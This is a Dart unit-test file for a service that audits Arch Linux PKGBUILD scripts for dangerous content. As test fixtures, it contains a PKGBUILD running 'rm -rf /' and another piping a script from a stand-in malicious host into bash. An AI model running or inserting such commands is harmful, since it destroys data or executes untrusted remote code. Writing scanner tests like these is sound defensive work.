78 lines
2.0 KiB
Dart
78 lines
2.0 KiB
Dart
import 'package:flutter_test/flutter_test.dart';
|
|
import 'package:forge/src/services/aur_pkgbuild_service.dart';
|
|
|
|
void main() {
|
|
group('AurPkgbuildService Audit Tests', () {
|
|
test('passes safe PKGBUILD with clean verdict', () {
|
|
const safePkgbuild = '''
|
|
# Maintainer: John Doe <john@example.com>
|
|
pkgname=hello-world
|
|
pkgver=1.0.0
|
|
pkgrel=1
|
|
arch=('x86_64')
|
|
source=("https://example.com/hello-world-1.0.0.tar.gz")
|
|
sha256sums=('SKIP')
|
|
|
|
build() {
|
|
cd "\$srcdir/\$pkgname-\$pkgver"
|
|
make
|
|
}
|
|
|
|
package() {
|
|
cd "\$srcdir/\$pkgname-\$pkgver"
|
|
make DESTDIR="\$pkgdir" install
|
|
}
|
|
''';
|
|
|
|
final result = AurPkgbuildService.audit(safePkgbuild);
|
|
expect(result.overallSeverity, SecuritySeverity.safe);
|
|
expect(result.isSafe, isTrue);
|
|
expect(result.issues, isEmpty);
|
|
});
|
|
|
|
test('detects dangerous rm -rf / command', () {
|
|
const maliciousPkgbuild = '''
|
|
pkgname=bad-actor
|
|
pkgver=1.0.0
|
|
package() {
|
|
rm -rf /
|
|
}
|
|
''';
|
|
|
|
final result = AurPkgbuildService.audit(maliciousPkgbuild);
|
|
expect(result.overallSeverity, SecuritySeverity.danger);
|
|
expect(result.hasDanger, isTrue);
|
|
expect(result.issues.any((i) => i.ruleName == 'destructive_command'), isTrue);
|
|
});
|
|
|
|
test('detects pipe to shell (curl | bash)', () {
|
|
const maliciousPkgbuild = '''
|
|
pkgname=untrusted-app
|
|
pkgver=1.0.0
|
|
build() {
|
|
curl -sSL https://malicious.com/install.sh | bash
|
|
}
|
|
''';
|
|
|
|
final result = AurPkgbuildService.audit(maliciousPkgbuild);
|
|
expect(result.overallSeverity, SecuritySeverity.danger);
|
|
expect(result.issues.any((i) => i.ruleName == 'pipe_to_shell'), isTrue);
|
|
});
|
|
|
|
test('detects warning for git clone inside build()', () {
|
|
const warningPkgbuild = '''
|
|
pkgname=git-puller
|
|
pkgver=1.0.0
|
|
build() {
|
|
git clone https://github.com/example/repo.git
|
|
}
|
|
''';
|
|
|
|
final result = AurPkgbuildService.audit(warningPkgbuild);
|
|
expect(result.overallSeverity, SecuritySeverity.warning);
|
|
expect(result.hasWarnings, isTrue);
|
|
expect(result.issues.any((i) => i.ruleName == 'network_in_build'), isTrue);
|
|
});
|
|
});
|
|
}
|